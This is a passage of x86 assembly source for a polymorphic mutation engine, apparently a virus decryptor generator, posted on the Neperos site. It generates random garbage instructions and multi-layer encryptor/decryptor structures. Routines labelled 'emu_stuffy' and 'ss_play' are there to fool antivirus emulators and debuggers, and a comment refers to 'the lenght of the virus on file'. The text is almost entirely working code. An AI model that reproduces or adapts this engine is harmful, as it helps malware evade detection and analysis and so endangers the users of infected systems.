g_dimension:
; EDI after generated garb
reget_dim:
call get_random_al7
cmp al,2
jae no_change
word_change:
mov ecx,dword ptr [edi-2]
mov byte ptr [edi-2],66h ; the prefix
mov dword ptr [edi-1],ecx
inc edi
mov al,2
jmp post_no_change
no_change:
mov al,4
post_no_change:
xchg eax,ecx ; in ECX needed immediates
ret

imm_assign:
call get_register
mov al,0b8h ; base
add al,cl
stosb
inc edi
call g_dimension
dec edi
; jmp put_immediates

put_immediates:
; cl how many
call get_random
put_imm_part:
stosb
shr eax,8
loop put_imm_part
ret

inc_dec_reg:
call get_random
and al,01000b ; 0 or 8
add al,40h ; incdec generation
call get_register
add al,cl
stosb
inc edi
call g_dimension
dec edi
ret

xchg_regs:
mov al,087h ; xchg eax,eax
call get_register
mov ah,cl
call get_register
common_test_xchg:
shl cl,3
add ah,cl
add ah,0c0h
stosw
jmp g_dimension

test_regs:
call get_random
xchg eax,ecx
and cx,0707h
mov ah,ch
mov al,085h ; test eax,eax
jmp common_test_xchg

temp_save_change:
call get_random_al7
sub al,6 ; 1/4 probability, since this couldn't
jc skip_changer ; come too often

call select_save
jc skip_changer

push ecx
call save_mov_xchg

xchg eax,ecx ; in al new register
mov al,byte ptr [edx] ; imp_reg
shl al,3
xchg eax,ecx
add al,cl
or al,0c0h
xchg al,ah
stosw ; mov important_reg,some_reg
pop ebx
mov byte ptr [r_used+ebp],bl ; restore regs status
skip_changer:
ret

select_save:
call get_random_al7
sub al,5 ; get from 0 to 2
jc select_save

xchg eax,edx
add edx,offset r_pointer
add edx,ebp
mov al,byte ptr [edx]

cmp al,0ffh ; not already assigned?
je exit_bad

cmp al,20h ; no key signature, if so skip
je exit_bad

call is_used ; maybe is already saved on stack or
jnz return_good ; such?
exit_bad:
stc
ret
return_good:
mov cl,byte ptr [r_used+ebp]
clc
ret

save_mov_xchg:
xchg eax,ebx
call get_register ; get an usable register
xchg eax,ecx
call set_used ; set this one as used
call unset_used ; and the previous as unused
mov ah,087h ; xchg reg,reg base
push eax
xor ecx,ecx
call get_random ; select if using mov or xchg
shr al,1
jc use_mov_first
mov cl,4 ; + 4 becames mov reg,reg base
use_mov_first:
shr al,1 ; when just saving this won't be used
jc use_mov_after ; select whichone for restore aswell
mov ch,4
use_mov_after:
pop eax
add ah,ch ; restore one
push eax
sub ah,ch
add ah,cl
shl al,3 ; * 8
add al,bl
or al,0c0h ; mov some_reg,important_reg
xchg al,ah
stosw ; put the moving of regs
call rnd_garbage
pop eax
ret

sets_misc:
call get_random ; type of sel
mov al,0fh
and ah,al
add ah,090h
call get_register
cmp cl,3
ja cant_useset ; won't retry, so not too many
stosw
bswap eax ; rnd
shr al,1
jc docs_ones
add cl,08h ; has 2 set of ocodes
docs_ones:
shr al,1
jc low_ones
add cl,04h ; high or low 8
low_ones:
mov al,0c0h
add al,cl
stosb
ret

cant_useset: ; shld/shrd
test ah,110b ; last bit used later
jnz no_66p
push eax
mov al,066h ; with words
stosb
pop eax
no_66p:
shr ah,1
mov ah,0a4h
jc do_shlld
add ah,0ch-04h ; shrd
do_shlld:
cmp cl,7
jne noss_with_cl
inc ah ; with immediate cl
noss_with_cl:
stosw
call get_random
and al,0111000b
call get_register
add al,cl
add al,0c0h ; in ah we have rnd sh nr
stosb
test byte ptr [edi-2],01b ;was using cl?
jnz wasnt_with_cl
dec edi
stosw
wasnt_with_cl:
ret

xadd_cmpxchg:
call get_random
and ah,10h ; 10h or 00h
jc np_nchk
test byte ptr [ebp+r_used],01b ; is ax used?
jnz home_xx ; if so no cmpxchg
np_nchk:
test al,110b
jnz no_66pr
mov al,66h
stosb
no_66pr:
add ah,0b1h
cmp byte ptr [edi-1],066h
je cant_byterize
and al,1
sub ah,al ; cmpxchg or xadd with b or notb
cant_byterize:
mov al,0fh
stosw
get_reg1:
call get_register
mov ch,cl
get_reg2:
call get_register
mov al,0c0h
test byte ptr [edi-1],01b ; was using bytes?
jnz no_byteprob
cmp ch,3 ; if bytes must be <= 3
ja get_reg1
cmp cl,3
ja get_reg2
push eax
bswap eax ; high part of rnd
and ax,010000000100b ; random +4 on both src and dest
add cx,ax
pop eax
no_byteprob:
shl cl,3
add al,cl
add al,ch
stosb
home_xx:
ret

emu_stuffy: ; some stuff to try to fool emus
call get_random
and al,011111b ; not too often
jnz keep_few_ae

lea edx,[ebp + offset t_pushed]

shr ah,1
jc regs_checking

shr ah,1
jc xlat_generation

stack_checking:
; check if stack seems consistent or not
mov al,68h ; push immediate opcode
stosb
call get_random
stosd
push eax
xor ch,ch ; nr of dword on stack
xchg ch,byte ptr [edx] ; don't smash our stack
call rnd_garbage
call get_register
mov al,cl
call set_used
mov bl,al
add al,058h ; pop opcode
stosb
mov byte ptr [edx],ch ; can work on stack again
call rnd_garbage
call unset_used

typepopchk:
call get_random
shr al,1
jnc check_posones
and ah,100000b ; add/and reg32, not/neg imm
jnz just_not_atesp
dec dword ptr [esp] ; since add needs the neg value
just_not_atesp:
not dword ptr [esp] ; the imm
add ah,0c0h
jmp chksta_st
check_posones:
and ah,011000b
jz typepopchk
add ah,0e0h
chksta_st:
mov al,81h ; cmp/sub/xor reg32,imm
add ah,bl
stosw
pop eax ; value to check with
stosd
check_okequ:
mov bx,07574h
jmp do_jumpzh


regs_checking:
shr ah,1
jc ss_play

shr ah,1
jc mem_write

; ones just checking our regs (pointer and counter) consistency
; compare with zero in various ways and jump at the right code if !=
cmp dword ptr [edx - (offset t_pushed - offset w_loopbg)],00h
; not in the loop
jne keep_few_ae

bswap eax
and eax,01b ; 0 or 1
add eax,ebp
add eax,offset r_pointer ; so will be r_pointer or r_counter
mov al,byte ptr [eax]
inc al ; already initialized ?
jz keep_few_ae
dec al
call is_used ; check that we aren't in moving thingy
jz keep_few_ae
reran_h:
call get_random_al7 ; type of cmp
cmp al,5
jae or_oring ; do or reg,reg

lea ebx,[edx - (offset t_pushed - offset chk_counter)]
add ebx,eax ; which one
mov ah,byte ptr [ebx]
mov al,83h
add ah,cl
stosw
xor al,al
stosb ; with a zero
jmp do_jumpzh_reg

or_oring:
mov ax,0c00bh ; or eax,eax base
add ah,cl ; have in cl the reg
shl cl,3
add ah,cl ; both src and dest
stosw
do_jumpzh_reg:
mov bx,07475h
; JZ and JNZ creation (considering BH is okay, while BL makes shit)
do_jumpzh:
call get_random
shr al,1 ; do jz or jnz ?
jnc do_jz_easily
; else we have to do a construction with
; more sense
mov al,bl
stosw
too_long_redo:
push dword ptr [edx] ; save stack situation
mov ebx,edi ; jmp offset +1
call rnd_garbage
call get_random ; random byte to break execution or ret
shr ah,1
jc no_jmpback ; do a long jmp back to hide the loop one
mov al,0e9h
stosb
or ax,0ffffh ; not too long
bswap eax
or ah,0f8h
stosd
jmp comehome
no_jmpback:
shr ah,1
jnc rndbyteuse
mov al,0c3h ; a ret is quite polite for the emu :)
rndbyteuse:
stosb
comehome:
call rnd_garbage
pop dword ptr [edx]
mov eax,edi
sub eax,ebx
cmp eax,07fh ; see it is not too long for a short jmp
jbe oki_lenght
mov edi,ebx ; else retry
jmp too_long_redo
oki_lenght:
mov byte ptr [ebx-1],al
jmp keep_few_ae
do_jz_easily:
mov al,bh ; jz short to some random location
stosw
keep_few_ae:
ret

xlat_generation: ; is xlat emulated? anyway, hc garbage :)
shr ah,1
jnc enter_generation

test byte ptr [edx - (offset t_pushed - offset r_used)],01001b
jnz keep_few_ae ; are ebx and eax unused ?
mov al,0bbh ; mov ebx
stosb
push edx
call get_address ; a decent mem addy
stosd
pop edx ; set ebx as used
or byte ptr [edx - (offset t_pushed - offset r_used)],01000b
call rnd_garbage ; and then unset ebx as used
and byte ptr [edx - (offset t_pushed - offset r_used)],(NOT 1000b)
mov al,0d7h ; xlat opcode
stosb
ret

enter_generation: ; some more funny garbage
mov al,0c8h ; enter
stosb
bswap eax
and al,0111100b ; requested stack
stosb
xor al,al
stosb
stosb
xchg al,byte ptr [edx] ; don't smash our stack
mov ah,byte ptr [edx - (offset t_pushed - offset r_used)] ; no ebp
or byte ptr [edx - (offset t_pushed - offset r_used)],100000b
call rnd_garbage
mov byte ptr [edx],al
mov byte ptr [edx - (offset t_pushed - offset r_used)],ah
mov al,0c9h ; leave
stosb
ret

ss_play:
; opcodes that modify SS (actually they don't change it, but will
; make life harder for debuggers and some emus hopefully)
shr ah,1
jc with_regs_ssplay
; first way, just push ss and then pop ss later
mov al,016h ; push
stosb
xor ah,ah
xchg ah,byte ptr [edx] ; don't smash our stack
call rnd_garbage
xchg ah,byte ptr [edx]
inc al ; pop
stosb
ret
with_regs_ssplay:
; mov reg,ss and later mov ss,reg
and ah,011b
jnz no_66pfss
mov al,066h ; is oky anyway
stosb
no_66pfss:
call get_register
mov ax,0d08ch ; mov reg,ss

    add     ah,cl 
stosw
xchg eax,ecx
call set_used ; don't mess with that one
call rnd_garbage
xchg eax,ebx
call unset_used
xchg eax,ecx
inc al
inc al ; mov ss,reg
stosw
ret

mem_write:
; write a dd somewhere (back where we won't go :) ) and then check
; if the contents are the same after some garbage
cmp byte ptr [edx - (offset t_pushed - offset m_writes)],01h
; don't nest, could work
je exit_mw_r ; on same addy (should be)
; well we could even put this
; away :P
inc byte ptr [edx - (offset t_pushed - offset m_writes)]
call get_random ; get a register
and ah,0111000b
push eax
add ah,05h
mov al,089h
stosw
mov ecx,[edx - (offset t_pushed - offset t_inipnt)]
restart_memsearch:
mov ebx,[edx - (offset t_pushed - offset w_loopbg)]
or ebx,ebx ; not in the loop
jnz looping_alr
cmp byte ptr [edx - (offset t_pushed - offset t_inacall)],01h
; could overwrite ourslv
jne can_proceed_mw
bad_mem:
pop eax
dec edi
dec edi
exit_mw:
dec byte ptr [edx - (offset t_pushed - offset m_writes)]
exit_mw_r:
ret
can_proceed_mw:
mov ebx,edi ; else can do from here down, anyway
; we won't return to it and we are
; sure that layers are not back
looping_alr:
sub ebx,4
cmp ebx,ecx ; is there at least a bit of place?
jbe bad_mem
call get_random
and eax,03ffh
sub ebx,eax
sub ebx,ecx
jc restart_memsearch
add ebx,[edx - (offset t_pushed - offset v_runnin)]
mov eax,ebx
stosd

call get_random ; check what was written or not?
shr al,1 ; to make less visibile maybe ;)
pop eax ; the used reg
jc exit_mw
xchg al,ah
shr al,3
call is_used
pushf
call set_used
call rnd_garbage
popf
push ebx
jnz wasntusedb
mov ebx,eax ; if was used then nuthing, else
call unset_used ; put reusable
wasntusedb:
shl al,3
add al,5
mov ah,03bh ; cmp reg, memval
xchg ah,al
stosw
pop eax
stosd ; the addy
jmp check_okequ

from_stack: ; read/write stuff from stack referencing
; with esp quite often found in windoze code
call get_random ; type of operation
and al,0fh
cmp al,8
jae make_mov
shl al,3
inc al
jmp selected_op
make_mov:
mov al,89h
selected_op:
mov ch,al
bswap eax
mov al,byte ptr [ebp + t_pushed] ; 'our' dd on stack
or al,al
jz cant_write_anyway

cmp byte ptr [ebp + t_inacall],01h
je cant_write_anyway

dec al
mov cl,al

call get_random_al7
cmp al,cl
ja cant_write_anyway ; don't retry, so less writes
mov ah,al
jmp prepare_all
cant_write_anyway:
and ah,0111b
add ch,02h
prepare_all:
mov al,ch
stosb
call get_register
shl cl,3
or ah,ah
jz dont_addesp ; just [esp], no + imm
add cl,40h
dont_addesp:
add cl,04h
xchg al,cl
stosb
mov al,24h
stosb
or ah,ah
jz no_immesp
shl ah,2 ; * 4, dword padded is always used
mov al,ah
stosb
no_immesp:
ret

; tables for various purposes
garbage_mask equ 1fh
garbage_number equ 14h

garbage_offsets:
dd offset call_subroutines
dd offset gen_one_byters
dd offset mov_registers
dd offset mem_assign
dd offset mem_mathops
dd offset maths_immediate
dd offset maths_immediate_short
dd offset maths_registers
dd offset rotating_imms
dd offset notneg_register
dd offset imm_assign
dd offset inc_dec_reg
dd offset xchg_regs
dd offset test_regs
dd offset temp_save_change
dd offset cdq_jmps_savestack
dd offset diff_movz
dd offset sets_misc
dd offset xadd_cmpxchg
dd offset emu_stuffy
dd offset from_stack

one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h

change_jump db 098h,099h,0ebh,0e9h

_math_imm:
dw 008c1h ; ror d[ebx],imm
dw 02881h ; sub d[ebx],imm
dw 03081h ; xor d[ebx],imm
dw 00081h ; add d[ebx],imm
dw 000c1h ; rol d[ebx],imm
_math_key:
dw 008d3h ; ror d[ebx],cl
dw 00029h ; sub d[ebx],eax
dw 00031h ; xor d[ebx],eax
dw 00001h ; add d[ebx],eax
dw 000d3h ; rol d[ebx],cl

; cmp,or,xor,sub,add
chk_counter db 0f8h,0c8h
key_changers db 0e8h,0f0h,0c0h ; xor sub add
db 0c0h,0c8h ; ror rol
db 0d0h ; not
db 040h,048h ; inc dec

krappo_gen:
call get_random ; generate krap bytes
and eax,01fh
jz exit_krappo
xchg eax,ecx
krap_stuffy:
call get_random
stosb
loop krap_stuffy
exit_krappo:
ret

get_random_al7:
call get_random
and eax,0111b
ret

get_random:
push ebx
push edx

db 0b8h ; mov eax,
seed dd 000h ; random seed, must be < im
mov ebx,4096d ; ia
mul ebx
add eax,150889d ; ic
adc edx,0
mov ebx,714025d ; im
push ebx
div ebx
mov dword ptr [seed+ebp],edx
xchg eax,edx
cdq
xor ebx,ebx
dec ebx
mul ebx ; * 2^32 - 1
pop ebx
div ebx ; here we have a 0<=rnd<=2^32
pop edx
pop ebx
ret

is_used:
; AL register
push eax
mov cl,al
mov al,1
shl al,cl
test byte ptr [r_used+ebp],al
pop eax
; Z = register not used
; NZ = register used
ret

set_used:
; AL register
push eax
xor ah,ah
bts word ptr [r_used+ebp],ax
pop eax
ret

unset_used:
; BL register
xor bh,bh
btr word ptr [r_used+ebp],bx
ret

get_register:
push eax
reget_reg:
call get_random_al7
call is_used
jnz reget_reg ; check we aren't using it
; the is_used will put the reg in cl
pop eax
ret

get_address:
push esi
mov ebx,edi
lea esi,[offset v_runnin + ebp]
db 081h,0ebh ; sub ebx,initial_edi
t_inipnt dd 00h ; so we have actualy dec lenght

add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]
mov edx,dword ptr [esi]

db 0b1h ; mov cl,
t_memand db 00h ; significant bits present

add edx,ebx

search_offset2:
call get_random
shl eax,cl
shr eax,cl
cmp eax,dword ptr [esi] ; is < starting off of poly?
jb search_offset2
look_foroff2:
cmp eax,edx ; upper border
jbe ok_offset2
sub eax,ebx
jmp look_foroff2
ok_offset2:
pop esi
ret

; how much memory does the ETMS need, so you can substract from the lenght
; of the virus on file of course
_mem_space = (offset _mem_data_end - offset _mem_data_start)

; everything down there just in mem, don't save it in your file
_mem_data_start:

r_pointer db 00h ; register used as pointer
r_counter db 00h ; register used as counter
r_regkey db 00h ; register used as key, 20h use
; immediate as key
r_used db 00000000b
; bits meaning 0 0 0 1 0 0 0 0
; E E E E E E E E
; D S B S B D C A
; I I P P X X X X

t_chgpnt db 00h ; changes to be made to pointer
t_chgcnt db 00h ; changes to be made to counter
t_chgkey db 00h ; changes to be made to key register
t_chgmat db 00h ; changes to be made to operation
t_exitjmp db 00h ; 01 has to create exit jmp, 00h no
t_prejmp db 00h ; number of key changes b4 jmp
m_writes db 00h ; already written mem in a loop?
; ne stavit nic tukaj ali menjaj inicializacijo!
t_pntoff dd 00h ; offset added to pointer (00h if not
; added)
t_cntoff dd 00h ; constant to be added to counter
; value

t_fromend db 00h ; 00h from start, else from end
t_countback db 00h ; 01h decrementing, else incrementing

t_pushed db 00h ; pushed dwords
t_maxjmps db 00h ; max jumps
t_inacall db 00h ; into a call or not
db 00h

v_lenght dd 00h ; lenght
v_virusp dd 00h ; pointer to body
v_runnin dd 00h ; offset at which dec will run

w_counter dd 00h ; where counter is assigned - 1
w_loopbg dd 00h ; where loop begins
w_encrypt dd 00h ; pointer on current pos in encryptor

orig_dx dd 00h
t_chkpos dd 00h ; position of the checking jmp

l_space equ (enc_max + 10h)
tl_space equ (6 * l_space)
layer_end dd 00h ; last nr of layer * layer dim
layer_nr dd tl_space ; number of layers (0-6) * layer dim

; data structures for all the layers
; first layer is the last in mem and so on...
enc_space:
dd 00h ; initial key
dd 00h ; counter
dd 00h ; initial pointer
dd 00h ; position of the pointer in dec
db enc_max dup (90h) ; encryptor

dd 4 dup (00h)
db enc_max dup (90h)

dd 4 dup (00h)
db enc_max dup (90h)

dd 4 dup (00h)
db enc_max dup (90h)

dd 4 dup (00h)
db enc_max dup (90h)

dd 4 dup (00h)
db enc_max dup (90h)

dd 4 dup (00h)
db enc_max dup (90h)
_mem_data_end:

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT